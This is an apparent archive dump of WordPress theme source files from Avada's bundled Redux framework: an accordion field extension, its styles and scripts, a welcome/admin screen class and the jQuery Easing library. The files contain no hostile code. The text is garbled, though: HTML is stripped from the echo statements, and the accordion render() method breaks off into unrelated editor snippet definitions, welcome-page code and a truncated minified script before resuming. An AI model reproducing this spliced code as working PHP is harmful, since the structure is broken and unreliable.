@author Kevin Provance (kprovance) * @version 1.0.1 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_extension_accordion' ) ) { /** * Main FusionReduxFramework_extension_accordion extension class * * @since 1.0.0 */ class FusionReduxFramework_extension_accordion { public static $version = '1.0.1'; // Protected vars protected $parent; public $extension_url; public $extension_dir; public static $theInstance; public static $ext_url; public $field_id = ''; private $class_css = ''; public $field_name = 'accordion'; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $parent Parent settings. * * @return void */ public function __construct( $parent ) { $fusionredux_ver = FusionReduxFramework::$_version; // Set parent object $this->parent = $parent; // Set extension dir if ( empty( $this->extension_dir ) ) { $this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); $this->extension_url = trailingslashit( FUSION_LIBRARY_URL ) . 'inc/redux/extensions/accordion/'; // $this->extension_url = site_url( str_replace( trailingslashit( str_replace( '\\', '/', ABSPATH ) ), '', $this->extension_dir ) ); self::$ext_url = $this->extension_url; } // Set instance self::$theInstance = $this; // Uncomment when customizer works - kp //include_once wp_normalize_path($this->extension_dir . 'multi-media/inc/class.customizer.php'); //new FusionReduxColorSchemeCustomizer($parent, $this->extension_dir); // Adds the local field add_filter( 'fusionredux/' . $this->parent->args['opt_name'] . '/field/class/' . $this->field_name, array( &$this, 'overload_field_path' ) ); } static public function getInstance() { return self::$theInstance; } static public function getExtURL() { return self::$ext_url; } // Forces the use of the embeded field path vs what the core typically would use public function overload_field_path( $field ) { return dirname( __FILE__ ) . '/' . $this->field_name . '/field_' . $this->field_name . '.php'; } } } Avada/includes/lib/inc/redux/extensions/accordion/accordion/field_accordion.scss000064400000002164152342437700024150 0ustar00.fusionredux-main { .fusionredux-accordion-field { overflow: hidden; cursor: pointer; margin-top: 10px; &:first-child { margin-top: 0; } .fusionredux-accordion-info { border: 1px solid #dfdfdf; padding: 10px 15px; height: auto; min-height: 20px; overflow: hidden; word-wrap: break-word; background: #FAFAFA; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04); box-shadow: 0 1px 1px rgba(0, 0, 0, .04); &:hover { border-color: #999; } .el { color: #000; float: right; margin-top: -23px; margin-right: 10px; transition: all 0.5s; &.subtitled { margin-top: -33px; } } } h3 { margin: 0; border-bottom: 0; } .fusionredux-accordion-desc { display: inline-block; position: absolute; top: calc(50% - 12px); padding: 3px 10px; background-color: #333; color: #fff; font-size: 10px; right: 70px; } } } .fusionredux-accordian-wrap { border: 1px solid #e5e5e5; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04); box-shadow: 0 1px 1px rgba(0, 0, 0, .04); border-top: none; padding: 0 15px; background: #fff; } Avada/includes/lib/inc/redux/extensions/accordion/accordion/field_accordion.php000064400000011606152342437700023765 0ustar00parent = $parent; $this->field = $field; $this->value = $value; // Set extension dir & url if ( empty( $this->extension_dir ) ) { $this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); $this->extension_url = trailingslashit( FUSION_LIBRARY_URL ) . 'inc/redux/extensions/accordion/accordion/'; // $this->extension_url = site_url( str_replace( trailingslashit( str_replace( '\\', '/', ABSPATH ) ), '', $this->extension_dir ) ); } } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $defaults = array( 'position' => '', 'style' => '', 'class' => '', 'title' => '', 'subtitle' => '', 'open' => '', 'open-icon' => 'el-plus', 'close-icon' => 'el-minus' ); $this->field = wp_parse_args( $this->field, $defaults ); $guid = uniqid(); $field_id = $this->field['id']; $dev_mode = $this->parent->args['dev_mode']; $opt_name = $this->parent->args['opt_name']; $dev_tag = ''; // Set dev_mode data, if active. if ( true == $dev_mode ) { $dev_tag = ' data-dev-mode="' . $this->parent->args['dev_mode'] . '" data-version="' . FusionReduxFramework_extension_accordion::$version . '"'; } // primary container $add_class = ''; $add_class = " hide"; $field_pos = 'end'; if ( isset( $this->field['position'] ) && 'start' === $this->field['position'] ) { $add_class = ' form-table-accordion'; $field_pos = 'start'; } echo ''; $is_open = false; if (isset($this->field['open']) && $this->field['open'] == true) { $is_open = true; } echo '
    '; echo '
    '; echo '
    '; if ( ! empty( $this->field['title'] ) ) { echo '

    ' . $this->field['title'] . '

    '; } $icon_class = ''; if ( ! empty( $this->field['subtitle'] ) ) { echo '
    ' . $this->field['subtitle'] . '
    '; $icon_class = ' subtitled'; } if ( ! empty( $this->field['highlight'] ) ) { echo '
    ' . $this->field['highlight'] . '
    '; } echo ''; echo '
    '; echo '
    '; echo '
    '; echo '\nsnippet cite\n ${1}\nsnippet code\n ${1}\nsnippet col\n ${1}\nsnippet col+\n \n col+${1}\nsnippet colgroup\n \n ${1}\n \nsnippet colgroup+\n \n \n col+${1}\n \nsnippet command\n \nsnippet command:c\n \nsnippet command:r\n \nsnippet datagrid\n \n ${1}\n \nsnippet datalist\n \n ${1}\n \nsnippet datatemplate\n \n ${1}\n \nsnippet dd\n
    ${1}
    \nsnippet dd.\n
    ${2}
    \nsnippet dd#\n
    ${2}
    \nsnippet del\n ${1}\nsnippet details\n
    ${1}
    \nsnippet dfn\n ${1}\nsnippet dialog\n \n ${1}\n \nsnippet div\n
    \n ${1}\n
    \nsnippet div.\n
    \n ${2}\n
    \nsnippet div#\n
    \n ${2}\n
    \nsnippet dl\n
    \n ${1}\n
    \nsnippet dl.\n
    \n ${2}\n
    \nsnippet dl#\n
    \n ${2}\n
    \nsnippet dl+\n
    \n
    ${1}
    \n
    ${2}
    \n dt+${3}\n
    \nsnippet dt\n
    ${1}
    \nsnippet dt.\n
    ${2}
    \nsnippet dt#\n
    ${2}
    \nsnippet dt+\n
    ${1}
    \n
    ${2}
    \n dt+${3}\nsnippet em\n ${1}\nsnippet embed\n \n ${2}\n \nsnippet fieldset#\n
    \n ${2}\n
    \nsnippet fieldset+\n
    \n ${1}\n ${2}\n
    \n fieldset+${3}\nsnippet figcaption\n
    ${1}
    \nsnippet figure\n
    ${1}
    \nsnippet footer\n
    \n ${1}\n
    \nsnippet footer.\n
    \n ${2}\n
    \nsnippet footer#\n
    \n ${2}\n
    \nsnippet form\n
    \n ${3}\n \nsnippet form.\n
    \n ${4}\n \nsnippet form#\n
    \n ${4}\n \nsnippet h1\n

    ${1}

    \nsnippet h1.\n

    ${2}

    \nsnippet h1#\n

    ${2}

    \nsnippet h2\n

    ${1}

    \nsnippet h2.\n

    ${2}

    \nsnippet h2#\n

    ${2}

    \nsnippet h3\n

    ${1}

    \nsnippet h3.\n

    ${2}

    \nsnippet h3#\n

    ${2}

    \nsnippet h4\n

    ${1}

    \nsnippet h4.\n

    ${2}

    \nsnippet h4#\n

    ${2}

    \nsnippet h5\n
    ${1}
    \nsnippet h5.\n
    ${2}
    \nsnippet h5#\n
    ${2}
    \nsnippet h6\n
    ${1}
    \nsnippet h6.\n
    ${2}
    \nsnippet h6#\n
    ${2}
    \nsnippet head\n \n \n\n ${1:`substitute(Filename(\'\', \'Page Title\'), \'^.\', \'\\u&\', \'\')`}\n ${2}\n \nsnippet header\n
    \n ${1}\n
    \nsnippet header.\n
    \n ${2}\n
    \nsnippet header#\n
    \n ${2}\n
    \nsnippet hgroup\n
    \n ${1}\n
    \nsnippet hgroup.\n
    \n ${1}\n \nsnippet html5\n \n \n \n \n ${1:`substitute(Filename(\'\', \'Page Title\'), \'^.\', \'\\u&\', \'\')`}\n ${2:meta}\n \n \n ${3:body}\n \n \nsnippet i\n ${1}\nsnippet iframe\n ${2}\nsnippet iframe.\n ${3}\nsnippet iframe#\n ${3}\nsnippet img\n ${2}${3}\nsnippet img.\n ${3}${4}\nsnippet img#\n ${3}${4}\nsnippet input\n ${5}\nsnippet input.\n ${6}\nsnippet input:text\n ${4}\nsnippet input:submit\n ${4}\nsnippet input:hidden\n ${4}\nsnippet input:button\n ${4}\nsnippet input:image\n ${5}\nsnippet input:checkbox\n ${3}\nsnippet input:radio\n ${3}\nsnippet input:color\n ${4}\nsnippet input:date\n ${4}\nsnippet input:datetime\n ${4}\nsnippet input:datetime-local\n ${4}\nsnippet input:email\n ${4}\nsnippet input:file\n ${4}\nsnippet input:month\n ${4}\nsnippet input:number\n ${4}\nsnippet input:password\n ${4}\nsnippet input:range\n ${4}\nsnippet input:reset\n ${4}\nsnippet input:search\n ${4}\nsnippet input:time\n ${4}\nsnippet input:url\n ${4}\nsnippet input:week\n ${4}\nsnippet ins\n ${1}\nsnippet kbd\n ${1}\nsnippet keygen\n ${1}\nsnippet label\n \nsnippet label:i\n \n ${7}\nsnippet label:s\n \n \nsnippet legend\n ${1}\nsnippet legend+\n ${1}\nsnippet li\n
  • ${1}
  • \nsnippet li.\n
  • ${2}
  • \nsnippet li+\n
  • ${1}
  • \n li+${2}\nsnippet lia\n
  • ${1}
  • \nsnippet lia+\n
  • ${1}
  • \n lia+${3}\nsnippet link\n ${5}\nsnippet link:atom\n ${2}\nsnippet link:css\n ${4}\nsnippet link:favicon\n ${2}\nsnippet link:rss\n ${2}\nsnippet link:touch\n ${2}\nsnippet map\n \n ${2}\n \nsnippet map.\n \n ${3}\n \nsnippet map#\n \n ${5}${6}\n ${7}\nsnippet mark\n ${1}\nsnippet menu\n \n ${1}\n \nsnippet menu:c\n \n ${1}\n \nsnippet menu:t\n \n ${1}\n \nsnippet meta\n ${3}\nsnippet meta:compat\n ${3}\nsnippet meta:refresh\n ${3}\nsnippet meta:utf\n ${3}\nsnippet meter\n ${1}\nsnippet nav\n \nsnippet nav.\n \nsnippet nav#\n \nsnippet noscript\n \nsnippet object\n \n ${3}\n ${4}\n# Embed QT Movie\nsnippet movie\n \n \n \n \n \n ${6}\nsnippet ol\n
      \n ${1}\n
    \nsnippet ol.\n
      \n ${2}\n
    \nsnippet ol+\n
      \n
    1. ${1}
    2. \n li+${2}\n
    \nsnippet opt\n \nsnippet opt+\n \n opt+${3}\nsnippet optt\n \nsnippet optgroup\n \n \n opt+${3}\n \nsnippet output\n ${1}\nsnippet p\n

    ${1}

    \nsnippet param\n ${3}\nsnippet pre\n
    \n		${1}\n	
    \nsnippet progress\n ${1}\nsnippet q\n ${1}\nsnippet rp\n ${1}\nsnippet rt\n ${1}\nsnippet ruby\n \n ${1}\n \nsnippet s\n ${1}\nsnippet samp\n \n ${1}\n \nsnippet script\n

    '; require_once wp_normalize_path( 'views/about.php' ); } /** * Render Changelog Screen * * @access public * @since 2.0.3 * @return void */ public function changelog_screen() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once wp_normalize_path( 'views/changelog.php' ); } /** * Render Changelog Screen * * @access public * @since 2.0.3 * @return void */ public function fusionredux_extensions() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once wp_normalize_path( 'views/extensions.php' ); } /** * Render Get Support Screen * * @access public * @since 1.9 * @return void */ public function get_support() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once wp_normalize_path( 'views/support.php' ); } /** * Render Credits Screen * * @access public * @since 1.4 * @return void */ public function credits_screen() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once wp_normalize_path( 'views/credits.php' ); } /** * Render Status Report Screen * * @access public * @since 1.4 * @return void */ public function status_screen() { // Stupid hack for Wordpress alerts and warnings echo '

    '; require_once wp_normalize_path( 'views/status_report.php' ); } /** * Parse the FusionRedux readme.txt file * * @since 2.0.3 * @return string $readme HTML formatted readme file */ public function parse_readme() { if ( file_exists( FusionReduxFramework::$_dir . 'inc/fields/raw/parsedown.php' ) ) { require_once wp_normalize_path( FusionReduxFramework::$_dir . 'inc/fields/raw/parsedown.php' ); $Parsedown = new Parsedown(); $data = @wp_remote_get( FusionReduxFramework::$_url . '../CHANGELOG.md' ); if ( isset( $data ) && ! empty( $data ) ) { $data = @wp_remote_retrieve_body( $data ); return $Parsedown->text( trim( str_replace( '# FusionRedux Framework Changelog', '', $data ) ) ); } } return ''; } public function actions() { ?>

    Docs Review Us Donate

    get_contributors(); if ( empty ( $contributors ) ) { return ''; } $contributor_list = ''; return $contributor_list; } /** * Retreive list of contributors from GitHub. * * @access public * @since 1.4 * @return array $contributors List of contributors */ public function get_contributors() { $contributors = get_transient( 'fusionredux_contributors' ); if ( false !== $contributors ) { return $contributors; } $response = wp_remote_get( 'https://api.github.com/repos/FusionReduxFramework/fusionredux-framework/contributors', array( 'sslverify' => false ) ); if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) { return array(); } $contributors = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! is_array( $contributors ) ) { return array(); } set_transient( 'fusionredux_contributors', $contributors, 3600 ); return $contributors; } } // new FusionRedux_Welcome(); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/js/fusionredux-welcome-admin.js000064400000026457152342437700027412 0ustar00(function( $ ) { 'use strict'; $.fusionredux_welcome = $.fusionredux_welcome || {}; $( document ).ready( function() { $.fusionredux_welcome.initQtip(); if ( jQuery( document.getElementById( "support_div" ) ).is( ":visible" ) ) { $.fusionredux_welcome.initSupportPage(); } $.fusionredux_welcome.supportHash(); } ); $.fusionredux_welcome.supportHash = function() { jQuery( "#support_hash" ).focus( function() { var $this = jQuery( this ); $this.select(); // Work around Chrome's little problem $this.mouseup( function() { // Prevent further mouseup intervention $this.unbind( "mouseup" ); return false; } ); } ); jQuery( '.fusionredux_support_hash' ).on( 'click', function( e ) { var $button = jQuery( this ); if ( $button.hasClass( 'disabled' ) ) { return; } var $nonce = jQuery( '#fusionredux_support_nonce' ).val(); $button.addClass( 'disabled' ); $button.parent().append( '' ); $button.closest( '.spinner' ).fadeIn(); if ( !window.console ) console = {}; console.log = console.log || function( name, data ) {}; jQuery.ajax( { type: "post", dataType: "json", url: ajaxurl, data: { action: "fusionredux_support_hash", nonce: $nonce } ) .fail( function( response ) { console.log( response ); $button.removeClass( 'disabled' ); $button.parent().find( '.spinner' ).remove(); alert( 'There was an error. Please try again later.' ); } ) .done( function( response ) { if ( response.status == "success" ) { $button.parents( 'fieldset:first' ).find( '.next' ).removeAttr( 'disabled' ).trigger( 'click' ); } else { alert( 'There was an error. Please try again later.' ); } } ); e.preventDefault(); } ); }; $.fusionredux_welcome.initSupportPage = function() { //jQuery time var current_fs, next_fs, previous_fs; //fieldsets var left, opacity, scale; //fieldset properties which we will animate var animating; //flag to prevent quick multi-click glitches $.fn.actualHeight = function() { // find the closest visible parent and get it's hidden children var visibleParent = this.closest( ':visible' ).children(), thisHeight; // set a temporary class on the hidden parent of the element visibleParent.addClass( 'temp-show' ); // get the height thisHeight = this.height(); // remove the temporary class visibleParent.removeClass( 'temp-show' ); return thisHeight; }; function setHeight() { var $height = 0; jQuery( document ).find( '#support_div fieldset' ).each( function() { var $actual = $( this ).actualHeight(); if ( $height < $actual ) { $height = $actual; } } ); jQuery( '#support_div' ).height( $height + 20 ); } setHeight(); $( window ).on( 'resize', function() { setHeight(); } ); jQuery( '#is_user' ).on( 'click', function() { jQuery( '#final_support .is_user' ).show(); jQuery( '#final_support .is_developer' ).hide(); jQuery( this ).parents( 'fieldset:first' ).find( '.next' ).trigger( 'click' ); } ); jQuery( '#is_developer' ).on( 'click', function() { jQuery( '#final_support .is_user' ).hide(); jQuery( '#final_support .is_developer' ).show(); jQuery( this ).parents( 'fieldset:first' ).find( '.next' ).trigger( 'click' ); } ); jQuery( "#support_div .next" ).on( 'click', function() { if ( animating ) return false; animating = true; current_fs = jQuery( this ).parent(); next_fs = jQuery( this ).parent().next(); //activate next step on progressbar using the index of next_fs jQuery( "#progressbar li" ).eq( jQuery( "fieldset" ).index( next_fs ) ).addClass( "active" ); //show the next fieldset next_fs.show(); //hide the current fieldset with style current_fs.animate( {opacity: 0}, { step: function( now, mx ) { //as the opacity of current_fs reduces to 0 - stored in "now" //1. scale current_fs down to 80% scale = 1 - (1 - now) * 0.2; //2. bring next_fs from the right(50%) left = (now * 50) + "%"; //3. increase opacity of next_fs to 1 as it moves in opacity = 1 - now; current_fs.css( {'transform': 'scale(' + scale + ')'} ); next_fs.css( {'left': left, 'opacity': opacity} ); }, duration: 800, complete: function() { current_fs.hide(); animating = false; }, //this comes from the custom easing plugin easing: 'easeInOutBack' } ); } ); jQuery( "#support_div .previous" ).on( 'click', function() { if ( animating ) return false; animating = true; current_fs = jQuery( this ).parent(); previous_fs = jQuery( this ).parent().prev(); //de-activate current step on progressbar jQuery( "#progressbar li" ).eq( jQuery( "fieldset" ).index( current_fs ) ).removeClass( "active" ); //show the previous fieldset previous_fs.show(); //hide the current fieldset with style current_fs.animate( {opacity: 0}, { step: function( now, mx ) { //as the opacity of current_fs reduces to 0 - stored in "now" //1. scale previous_fs from 80% to 100% scale = 0.8 + (1 - now) * 0.2; //2. take current_fs to the right(50%) - from 0% left = ((1 - now) * 50) + "%"; //3. increase opacity of previous_fs to 1 as it moves in opacity = 1 - now; current_fs.css( {'left': left} ); previous_fs.css( {'transform': 'scale(' + scale + ')', 'opacity': opacity} ); }, duration: 800, complete: function() { current_fs.hide(); animating = false; }, //this comes from the custom easing plugin easing: 'easeInOutBack' } ); } ); } $.fusionredux_welcome.initQtip = function() { if ( $().qtip ) { var shadow = 'qtip-shadow'; var color = 'qtip-dark'; var rounded = ''; var style = ''; //qtip-bootstrap'; var classes = shadow + ',' + color + ',' + rounded + ',' + style; classes = classes.replace( /,/g, ' ' ); // Get position data var myPos = 'top center'; var atPos = 'bottom center'; // Tooltip trigger action var showEvent = 'click'; var hideEvent = 'click mouseleave'; // Tip show effect var tipShowEffect = 'slide'; var tipShowDuration = '500'; // Tip hide effect var tipHideEffect = 'slide'; var tipHideDuration = '500'; $( '.fusionredux-hint-qtip' ).each( function() { $( this ).qtip( { content: { text: $( this ).attr( 'qtip-content' ), title: $( this ).attr( 'qtip-title' ) }, show: { effect: function() { switch ( tipShowEffect ) { case 'slide': $( this ).slideDown( tipShowDuration ); break; case 'fade': $( this ).fadeIn( tipShowDuration ); break; default: $( this ).show(); break; } }, event: showEvent, }, hide: { effect: function() { switch ( tipHideEffect ) { case 'slide': $( this ).slideUp( tipHideDuration ); break; case 'fade': $( this ).fadeOut( tipHideDuration ); break; default: $( this ).show( tipHideDuration ); break; } }, event: hideEvent, }, style: { classes: classes, }, position: { my: myPos, at: atPos, }, } ); } ); } }; })( jQuery ); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/welcome/js/jquery.easing.min.js000064400000012653152342437700025657 0ustar00/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built in easing capabilities added In jQuery 1.1 * to offer multiple easing options * * TERMS OF USE - EASING EQUATIONS * * Open source under the BSD License. * * Copyright © 2001 Robert Penner * All rights reserved. * * TERMS OF USE - jQuery Easing * * Open source under the BSD License. * * Copyright © 2008 George McGinley Smith * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */ jQuery.easing.jswing=jQuery.easing.swing;jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,f,a,h,g){return jQuery.easing[jQuery.easing.def](e,f,a,h,g)},easeInQuad:function(e,f,a,h,g){return h*(f/=g)*f+a},easeOutQuad:function(e,f,a,h,g){return -h*(f/=g)*(f-2)+a},easeInOutQuad:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f+a}return -h/2*((--f)*(f-2)-1)+a},easeInCubic:function(e,f,a,h,g){return h*(f/=g)*f*f+a},easeOutCubic:function(e,f,a,h,g){return h*((f=f/g-1)*f*f+1)+a},easeInOutCubic:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f+a}return h/2*((f-=2)*f*f+2)+a},easeInQuart:function(e,f,a,h,g){return h*(f/=g)*f*f*f+a},easeOutQuart:function(e,f,a,h,g){return -h*((f=f/g-1)*f*f*f-1)+a},easeInOutQuart:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f+a}return -h/2*((f-=2)*f*f*f-2)+a},easeInQuint:function(e,f,a,h,g){return h*(f/=g)*f*f*f*f+a},easeOutQuint:function(e,f,a,h,g){return h*((f=f/g-1)*f*f*f*f+1)+a},easeInOutQuint:function(e,f,a,h,g){if((f/=g/2)<1){return h/2*f*f*f*f*f+a}return h/2*((f-=2)*f*f*f*f+2)+a},easeInSine:function(e,f,a,h,g){return -h*Math.cos(f/g*(Math.PI/2))+h+a},easeOutSine:function(e,f,a,h,g){return h*Math.sin(f/g*(Math.PI/2))+a},easeInOutSine:function(e,f,a,h,g){return -h/2*(Math.cos(Math.PI*f/g)-1)+a},easeInExpo:function(e,f,a,h,g){return(f==0)?a:h*Math.pow(2,10*(f/g-1))+a},easeOutExpo:function(e,f,a,h,g){return(f==g)?a+h:h*(-Math.pow(2,-10*f/g)+1)+a},easeInOutExpo:function(e,f,a,h,g){if(f==0){return a}if(f==g){return a+h}if((f/=g/2)<1){return h/2*Math.pow(2,10*(f-1))+a}return h/2*(-Math.pow(2,-10*--f)+2)+a},easeInCirc:function(e,f,a,h,g){return -h*(Math.sqrt(1-(f/=g)*f)-1)+a},easeOutCirc:function(e,f,a,h,g){return h*Math.sqrt(1-(f=f/g-1)*f)+a},easeInOutCirc:function(e,f,a,h,g){if((f/=g/2)<1){return -h/2*(Math.sqrt(1-f*f)-1)+a}return h/2*(Math.sqrt(1-(f-=2)*f)+1)+a},easeInElastic:function(f,h,e,l,k){var i=1.70158;var j=0;var g=l;if(h==0){return e}if((h/=k)==1){return e+l}if(!j){j=k*0.3}if(g

    actions(); ?> tabs(); ?>
    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { $extension = FusionReduxFramework_extension_accordion::getInstance(); // Set up min files for dev_mode = false. $min = FusionRedux_Functions::isMin(); // Field dependent JS wp_enqueue_script( 'fusionredux-field-accordion-js', $this->extension_url . 'field_accordion' . $min . '.js', array( 'jquery' ), time(), true ); // Field CSS wp_enqueue_style( 'fusionredux-field-accordion-css', $this->extension_url . 'field_accordion.css', time(), true ); } } } Avada/includes/lib/inc/redux/extensions/accordion/accordion/field_accordion.min.js000064400000004125152342437700024372 0ustar00(function(a){fusionredux.field_objects=fusionredux.field_objects||{};fusionredux.field_objects.accordion=fusionredux.field_objects.accordion||{};fusionredux.field_objects.accordion.init=function(b){if(!b){b=a(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-accordion:visible")}a(b).each(function(){var e=a(this);var d=e;if(!e.hasClass("fusionredux-field-container")){d=e.parents(".fusionredux-field-container:first")}if(d.hasClass("fusionredux-field-init")){d.removeClass("fusionredux-field-init")}else{return}var h=e.attr("data-id");a("#accordion-"+h+"-marker").parents("tr:first").css({display:"none"}).prev("tr").css("border-bottom","none");var g=a("#accordion-"+h+"-marker").parents(".fusionredux-group-tab:first");if(!g.hasClass("accordionsChecked")){g.addClass("accordionsChecked");var j=g.find(".fusionredux-accordion-indent-start h3");a.each(j,function(k,l){a(l).css("margin-top","20px")});if(g.find("h3:first").css("margin-top")=="20px"){g.find("h3:first").css("margin-top","0")}var i=a("#accordion-"+h+"-marker");var c=i.data("open-icon");var f=i.data("close-icon");g.find(".fusionredux-accordion-field").click(function(k){k.preventDefault();var l=a(this).attr("id");if(a("#accordion-table-"+l).closest("div").is(":visible")){a(this).find(".el").removeClass(f).addClass(c);a("#accordion-table-"+l).closest("div").slideUp()}else{a("#accordion-table-"+l).closest("div").slideDown();a.fusionredux.initFields();a(this).find(".el").removeClass(c).addClass(f)}});g.find(".fusionredux-accordion-field").each(function(){var l=a(this).data("position");if(l==="start"){var n=Boolean(a(this).data("dev-mode"));if(n===true){var k=a(this).data("version");var m=a("div.fusionredux-timer").html();if(m!==undefined){var q=m.indexOf("Accordion Field");if(q===-1){a("div.fusionredux-timer").html(m+"
    Accordion Field extension v."+k)}}}var p=a(this).attr("id");var o=Boolean(a(this).data("state"));a("#accordion-table-"+p).wrapAll('
    ');if(o===false){a("#accordion-table-"+p).closest("div").hide()}else{a(this).find(".el").removeClass(c).addClass(f)}}})}})}})(jQuery); Avada/includes/lib/inc/redux/extensions/accordion/accordion/field_accordion.css000064400000002365152342437700023770 0ustar00.fusionredux-main .fusionredux-accordion-field { overflow: hidden; cursor: pointer; margin-top: 10px; } .fusionredux-main .fusionredux-accordion-field:first-child { margin-top: 0; } .fusionredux-main .fusionredux-accordion-field .fusionredux-accordion-info { border: 1px solid #dfdfdf; padding: 10px 15px; height: auto; min-height: 20px; overflow: hidden; word-wrap: break-word; background: #FAFAFA; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); position: relative; } .fusionredux-main .fusionredux-accordion-field .fusionredux-accordion-info:hover { border-color: #999; } .fusionredux-main .fusionredux-accordion-field .fusionredux-accordion-info .el { color: #000; float: right; margin-top: -23px; margin-right: 10px; transition: all 0.5s; } .fusionredux-main .fusionredux-accordion-field .fusionredux-accordion-info .el.subtitled { margin-top: -33px !important; } .fusionredux-main .fusionredux-accordion-field h3 { margin: 0; border-bottom: 0; } .fusionredux-accordian-wrap { border: 1px solid #e5e5e5; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); border-top: none; padding: 0 15px; background: #fff; } Avada/includes/lib/inc/redux/extensions/accordion/accordion/field_accordion.js000064400000011276152342437700023615 0ustar00/* Field Accordion (accordion) */ /*global jQuery, document, fusionredux*/ (function( $ ) { 'use strict'; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.accordion = fusionredux.field_objects.accordion || {}; fusionredux.field_objects.accordion.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-accordion:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } var $id = el.attr( 'data-id' ); $( '#accordion-' + $id + '-marker' ).parents( 'tr:first' ).css( {display: 'none'} ).prev( 'tr' ).css( 'border-bottom', 'none' ); var group = $( '#accordion-' + $id + '-marker' ).parents( '.fusionredux-group-tab:first' ); if ( !group.hasClass( 'accordionsChecked' ) ) { group.addClass( 'accordionsChecked' ); var test = group.find( '.fusionredux-accordion-indent-start h3' ); $.each( test, function( key, value ) { $( value ).css( 'margin-top', '20px' ) }); if ( group.find( 'h3:first' ).css( 'margin-top' ) == "20px" ) { group.find( 'h3:first' ).css( 'margin-top', '0' ); } var accordionMarker = $('#accordion-' + $id + '-marker'); var openIcon = accordionMarker.data('open-icon'); // plus var closeIcon = accordionMarker.data('close-icon'); // minus group.find( '.fusionredux-accordion-field' ).on( 'click', function( e ) { e.preventDefault(); var id = $( this ).attr( 'id' ); if ( $( '#accordion-table-' + id ).closest( 'div' ).is( ':visible' ) ) { $( this ).find( '.el' ).removeClass( closeIcon ).addClass( openIcon ); $( '#accordion-table-' + id ).closest( 'div' ).slideUp(); } else { $( '#accordion-table-' + id ).closest( 'div' ).slideDown(); $.fusionredux.initFields(); $( this ).find( '.el' ).removeClass( openIcon ).addClass( closeIcon ); } } ); group.find( '.fusionredux-accordion-field' ).each( function() { var position = $( this ).data( 'position' ); if ( position === 'start' ) { var devMode = Boolean($( this ).data( 'dev-mode' )); if (devMode === true) { var ver = $( this ).data( 'version' ); var dev_html = $('div.fusionredux-timer').html(); if (dev_html !== undefined) { var pos = dev_html.indexOf('Accordion Field'); if (pos === -1) { $('div.fusionredux-timer').html(dev_html + '
    Accordion Field extension v.' + ver); } } } var id = $( this ).attr( 'id' ); var state = Boolean($( this ).data( 'state' )); $( '#accordion-table-' + id ).wrapAll( '
